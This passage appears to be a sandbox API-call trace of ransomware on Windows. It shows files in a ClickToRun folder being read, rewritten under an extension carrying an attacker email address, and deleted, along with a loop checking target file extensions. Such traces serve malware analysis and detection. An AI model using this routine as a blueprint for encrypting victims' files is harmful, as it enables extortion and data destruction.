lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0209.408] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=19648) returned 1 [0209.408] CloseHandle (hObject=0x348) returned 1 [0209.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll")) returned 0x20 [0209.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0209.408] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0209.409] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.409] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.409] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0209.409] GetLastError () returned 0x0 [0209.409] ReadFile (in: hFile=0x348, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x4cc0, lpOverlapped=0x0) returned 1 [0209.434] WriteFile (in: hFile=0x384, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x4cd0, lpOverlapped=0x0) returned 1 [0209.435] ReadFile (in: hFile=0x348, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.435] WriteFile (in: hFile=0x384, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x112, lpOverlapped=0x0) returned 1 [0209.435] SetEndOfFile (hFile=0x384) returned 1 [0209.439] CloseHandle (hObject=0x384) returned 1 [0209.441] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.441] SetEndOfFile (hFile=0x348) returned 1 [0209.445] CloseHandle (hObject=0x348) returned 1 [0209.445] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0209.446] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll")) returned 1 [0209.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0209.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0209.448] lstrlenW (lpString=".doc") returned 4 [0209.448] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.448] lstrlenW (lpString=".docx") returned 5 [0209.448] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0209.448] lstrlenW (lpString=".pdf") returned 4 [0209.448] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.448] lstrlenW (lpString=".xls") returned 4 [0209.448] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.448] lstrlenW (lpString=".xlsx") returned 5 [0209.448] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0209.448] lstrlenW (lpString=".ppt") returned 4 [0209.448] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0209.448] lstrlenW (lpString=".zip") returned 4 [0209.448] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.448] lstrlenW (lpString=".rar") returned 4 [0209.448] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.448] lstrlenW (lpString=".bz2") returned 4 [0209.448] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.448] lstrlenW (lpString=".7z") returned 3 [0209.448] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0209.448] lstrlenW (lpString=".dbf") returned 4 [0209.448] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0209.448] lstrlenW (lpString=".1cd") returned 4 [0209.449] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0209.449] lstrlenW (lpString=".jpg") returned 4 [0209.449] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0209.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0209.449] lstrlenW (lpString=".doc") returned 4 [0209.449] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.449] lstrlenW (lpString=".docx") returned 5 [0209.449] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0209.449] lstrlenW (lpString=".pdf") returned 4 [0209.449] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.449] lstrlenW (lpString=".xls") returned 4 [0209.449] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.449] lstrlenW (lpString=".xlsx") returned 5 [0209.449] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0209.449] lstrlenW (lpString=".ppt") returned 4 [0209.449] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0209.449] lstrlenW (lpString=".zip") returned 4 [0209.449] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.449] lstrlenW (lpString=".rar") returned 4 [0209.449] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.449] lstrlenW (lpString=".bz2") returned 4 [0209.449] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.449] lstrlenW (lpString=".7z") returned 3 [0209.449] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0209.450] lstrlenW (lpString=".dbf") returned 4 [0209.450] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0209.450] lstrlenW (lpString=".1cd") returned 4 [0209.450] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0209.450] lstrlenW (lpString=".jpg") returned 4 [0209.450] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.450] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0209.450] lstrlenW (lpString="api-ms-win-crt-heap-l1-1-0.dll") returned 30 [0209.450] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0209.451] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=19648) returned 1 [0209.451] CloseHandle (hObject=0x300) returned 1 [0209.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll")) returned 0x20 [0209.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0209.452] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0209.452] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.452] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.452] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0209.453] GetLastError () returned 0x0 [0209.453] ReadFile (in: hFile=0x37c, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x4cc0, lpOverlapped=0x0) returned 1 [0209.470] WriteFile (in: hFile=0x368, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x4cd0, lpOverlapped=0x0) returned 1 [0209.472] ReadFile (in: hFile=0x37c, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.472] WriteFile (in: hFile=0x368, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x110, lpOverlapped=0x0) returned 1 [0209.472] SetEndOfFile (hFile=0x368) returned 1 [0209.472] CloseHandle (hObject=0x368) returned 1 [0209.473] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.473] SetEndOfFile (hFile=0x37c) returned 1 [0209.474] CloseHandle (hObject=0x37c) returned 1 [0209.474] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0209.474] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll")) returned 1 [0209.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0209.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0209.475] lstrlenW (lpString=".doc") returned 4 [0209.475] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.475] lstrlenW (lpString=".docx") returned 5 [0209.475] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0209.475] lstrlenW (lpString=".pdf") returned 4 [0209.475] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.475] lstrlenW (lpString=".xls") returned 4 [0209.475] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.475] lstrlenW (lpString=".xlsx") returned 5 [0209.475] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0209.475] lstrlenW (lpString=".ppt") returned 4 [0209.475] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0209.475] lstrlenW (lpString=".zip") returned 4 [0209.475] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.475] lstrlenW (lpString=".rar") returned 4 [0209.475] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.475] lstrlenW (lpString=".bz2") returned 4 [0209.475] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.475] lstrlenW (lpString=".7z") returned 3 [0209.475] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0209.475] lstrlenW (lpString=".dbf") returned 4 [0209.475] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0209.475] lstrlenW (lpString=".1cd") returned 4 [0209.475] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0209.475] lstrlenW (lpString=".jpg") returned 4 [0209.475] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0209.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0209.475] lstrlenW (lpString=".doc") returned 4 [0209.475] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.475] lstrlenW (lpString=".docx") returned 5 [0209.475] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0209.476] lstrlenW (lpString=".pdf") returned 4 [0209.476] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.476] lstrlenW (lpString=".xls") returned 4 [0209.476] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.476] lstrlenW (lpString=".xlsx") returned 5 [0209.476] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0209.476] lstrlenW (lpString=".ppt") returned 4 [0209.476] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0209.476] lstrlenW (lpString=".zip") returned 4 [0209.476] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.476] lstrlenW (lpString=".rar") returned 4 [0209.476] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.476] lstrlenW (lpString=".bz2") returned 4 [0209.476] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.476] lstrlenW (lpString=".7z") returned 3 [0209.476] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0209.476] lstrlenW (lpString=".dbf") returned 4 [0209.476] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0209.476] lstrlenW (lpString=".1cd") returned 4 [0209.476] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0209.476] lstrlenW (lpString=".jpg") returned 4 [0209.476] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.476] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0209.476] lstrlenW (lpString="api-ms-win-crt-multibyte-l1-1-0.dll") returned 35 [0209.476] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0209.478] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=26816) returned 1 [0209.478] CloseHandle (hObject=0x368) returned 1 [0209.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 0x20 [0209.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0209.478] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0209.478] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.478] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.478] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0209.479] GetLastError () returned 0x0 [0209.479] ReadFile (in: hFile=0x368, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x68c0, lpOverlapped=0x0) returned 1 [0209.515] WriteFile (in: hFile=0x388, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x68d0, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x68d0, lpOverlapped=0x0) returned 1 [0209.516] ReadFile (in: hFile=0x368, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.516] WriteFile (in: hFile=0x388, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x11a, lpOverlapped=0x0) returned 1 [0209.516] SetEndOfFile (hFile=0x388) returned 1 [0209.521] CloseHandle (hObject=0x388) returned 1 [0209.523] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.523] SetEndOfFile (hFile=0x368) returned 1 [0209.525] CloseHandle (hObject=0x368) returned 1 [0209.526] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0209.526] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 1 [0209.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0209.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0209.526] lstrlenW (lpString=".doc") returned 4 [0209.526] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.526] lstrlenW (lpString=".docx") returned 5 [0209.526] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0209.526] lstrlenW (lpString=".pdf") returned 4 [0209.526] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.526] lstrlenW (lpString=".xls") returned 4 [0209.526] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.526] lstrlenW (lpString=".xlsx") returned 5 [0209.526] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0209.526] lstrlenW (lpString=".ppt") returned 4 [0209.526] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0209.527] lstrlenW (lpString=".zip") returned 4 [0209.527] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.527] lstrlenW (lpString=".rar") returned 4 [0209.527] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.527] lstrlenW (lpString=".bz2") returned 4 [0209.527] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.527] lstrlenW (lpString=".7z") returned 3 [0209.527] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0209.527] lstrlenW (lpString=".dbf") returned 4 [0209.527] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0209.527] lstrlenW (lpString=".1cd") returned 4 [0209.527] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0209.527] lstrlenW (lpString=".jpg") returned 4 [0209.527] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0209.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0209.527] lstrlenW (lpString=".doc") returned 4 [0209.527] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.527] lstrlenW (lpString=".docx") returned 5 [0209.527] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0209.527] lstrlenW (lpString=".pdf") returned 4 [0209.527] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.527] lstrlenW (lpString=".xls") returned 4 [0209.527] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.527] lstrlenW (lpString=".xlsx") returned 5 [0209.527] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0209.527] lstrlenW (lpString=".ppt") returned 4 [0209.527] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0209.527] lstrlenW (lpString=".zip") returned 4 [0209.527] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.528] lstrlenW (lpString=".rar") returned 4 [0209.528] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.528] lstrlenW (lpString=".bz2") returned 4 [0209.528] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.528] lstrlenW (lpString=".7z") returned 3 [0209.528] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0209.528] lstrlenW (lpString=".dbf") returned 4 [0209.528] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0209.528] lstrlenW (lpString=".1cd") returned 4 [0209.528] lstrcmpiW 